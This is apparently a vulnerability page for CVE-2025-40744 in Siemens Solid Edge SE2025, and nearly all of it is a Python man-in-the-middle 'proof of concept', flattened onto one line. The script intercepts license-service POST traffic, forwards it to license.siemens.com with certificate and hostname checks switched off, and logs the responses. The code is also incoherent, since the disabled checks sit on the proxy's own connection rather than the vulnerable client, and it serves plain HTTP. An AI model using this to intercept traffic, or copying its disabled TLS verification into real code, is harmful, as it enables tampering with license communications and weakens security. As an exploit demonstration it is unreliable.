CVE-2025-40744: Siemens Solid Edge SE2025 证书验证不当导致中间人攻击

# CVE-2025-40744 PoC - MITM Attack on Solid Edge SE2025 License Service # This PoC demonstrates the certificate validation bypass import socket import ssl import threading from http.server import HTTPServer, BaseHTTPRequestHandler class MITMProxyHandler(BaseHTTPRequestHandler): def do_POST(self): # Forward request to legitimate license server target_host = 'license.siemens.com' target_port = 443 # Create SSL context with weak verification (simulating the vulnerability) ctx = ssl.create_default_context() ctx.check_hostname = False # Bypass hostname verification ctx.verify_mode = ssl.CERT_NONE # Bypass certificate validation try: # Connect to target server with socket.create_connection((target_host, target_port), timeout=10) as sock: with ctx.wrap_socket(sock, server_hostname=target_host) as ssock: # Forward the request content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) ssock.sendall(post_data) # Receive response response = ssock.recv(4096) # Log intercepted data (for demonstration) print(f"[+] Intercepted license response: {response[:100]}...") # Forward response to client self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(response) except Exception as e: print(f"[-] Error: {e}") self.send_error(500) def start_mitm_proxy(port=8443): server = HTTPServer(('0.0.0.0', port), MITMProxyHandler) print(f"[*] MITM Proxy listening on port {port}") server.serve_forever() if __name__ == '__main__': start_mitm_proxy()